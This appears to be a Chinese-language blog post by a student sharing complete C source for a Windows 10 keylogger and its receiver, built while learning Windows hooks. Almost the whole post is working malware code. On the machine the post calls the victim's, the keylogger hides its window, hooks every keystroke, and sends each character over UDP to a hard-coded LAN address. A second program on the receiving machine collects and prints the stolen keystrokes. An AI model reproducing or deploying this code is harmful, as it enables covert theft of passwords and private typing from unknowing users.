1. 程式人生 > 實用技巧 >win10鍵盤監聽

win10鍵盤監聽

大二上學習Hook寫的一個小例子,隱藏程序介面監聽同一區域網下受害機的鍵盤,並將其鍵盤輸入通過socket傳輸到接收機。

//server端,即受害機

#include <stdio.h>
#include <WinSock2.h>
#include <windows.h>
#include <process.h>
#pragma comment(lib, "ws2_32.lib")  //載入 ws2_32.dll
#define BUF_SIZE 100
 
#define WH_KEYBOARD_LL 13
#pragma comment(lib,"user32.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隱藏視窗

 /*
typedef struct {
  DWORD     vkCode;
  DWORD     scanCode;
  DWORD     flags;
  DWORD     time;
  ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
*/ 

HHOOK MyHook;                  //接收由SetWindowsHookEx返回的舊的鉤子
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
int log(char vkcode);
int toClient(char vkcode);

//主函式
int main()
{
	//隱藏視窗 
	HWND hwndDOS = GetForegroundWindow();
	ShowWindow(hwndDOS, SW_HIDE);
    //安裝鉤子
    MyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)&KeyboardProc,GetModuleHandle(NULL),NULL);
    /*while(true){
    Sleep(10000);	
    }*/
    MSG msg;
    while (GetMessage (&msg, NULL, 0, 0)!=-1)                   //訊息迴圈
    {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
    };
 
    UnhookWindowsHookEx (MyHook);
    return 0;
}
 
//回撥函式,用於處理截獲的按鍵訊息
int CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
	
	if (code >= HC_ACTION && wParam==WM_KEYDOWN) //有鍵按下
  {
		DWORD vk_code = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;
		printf("lParam = %d code = %d HC_ACTION = %d WM_KEYDOWN=%d wParam = %d vk_code = %d\n",lParam,code,HC_ACTION,WM_KEYDOWN,wParam,vk_code);
    BYTE ks[256];
    GetKeyboardState(ks);
    WORD w;
    ToAscii(vk_code,0,ks,&w,0);
    char ch =char(w); 
    //log(ch);
    //printf("%d ",vk_code);         //輸出按鍵資訊,注意這裡按下和彈起都會輸出
    toClient(ch);
  }
  return CallNextHookEx(MyHook,code,wParam,lParam);  //將訊息還給鉤子鏈,不要影響別人
}
 
//記錄到檔案
int log(char vkcode){
FILE *fl;
fl=fopen("log.txt","a+");
if(vkcode==13)
	fwrite("\r\n",1,2,fl);//注意此處 count=2  
else
	fwrite(&vkcode, sizeof(char), 1, fl);//把按鍵字元 記錄到檔案
//printf("write ok\n");
fclose(fl);
return 0;
}

int toClient(char vkcode){
	//初始化DLL
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    //建立套接字
    SOCKET sock = socket(PF_INET, SOCK_DGRAM, 0);
    //伺服器地址資訊
    sockaddr_in servAddr;
    memset(&servAddr, 0, sizeof(servAddr));  //每個位元組都用0填充
    servAddr.sin_family = PF_INET;
    servAddr.sin_addr.s_addr = inet_addr("192.168.3.14");
    servAddr.sin_port = htons(1234);
    //不斷獲取使用者輸入併發送給伺服器,然後接受伺服器資料
    sockaddr fromAddr;
    int addrLen = sizeof(fromAddr);
    char buffer[BUF_SIZE] = {0};
    buffer[0] = vkcode; 
    sendto(sock, buffer, strlen(buffer), 0, (struct sockaddr*)&servAddr, sizeof(servAddr));
    closesocket(sock);
    WSACleanup();
    return 0;
}
//client端,即接收機

#include <stdio.h>
#include <winsock2.h>
#pragma comment (lib, "ws2_32.lib")  //載入 ws2_32.dll

#define BUF_SIZE 100

int main(){
    WSADATA wsaData;
    WSAStartup( MAKEWORD(2, 2), &wsaData);

    //建立套接字
    SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0);

    //繫結套接字
    sockaddr_in servAddr;
    memset(&servAddr, 0, sizeof(servAddr));  //每個位元組都用0填充
    servAddr.sin_family = PF_INET;  //使用IPv4地址
    servAddr.sin_addr.s_addr = htonl(INADDR_ANY); //自動獲取IP地址
    servAddr.sin_port = htons(1234);  //埠
    bind(sock, (SOCKADDR*)&servAddr, sizeof(SOCKADDR));

    //接收客戶端請求
    SOCKADDR clntAddr;  //客戶端地址資訊
    int nSize = sizeof(SOCKADDR);
    char buffer[BUF_SIZE];  //緩衝區
    while(1){
        int strLen = recvfrom(sock, buffer, BUF_SIZE, 0, &clntAddr, &nSize);
        //sendto(sock, buffer, strLen, 0, &clntAddr, nSize);
        printf("Message form cilent: %s\n", buffer);
    }

    closesocket(sock);
    WSACleanup();
    return 0;
}

執行截圖,win10虛擬機器與本地機間進行測試

受害機工作管理員中顯示server.exe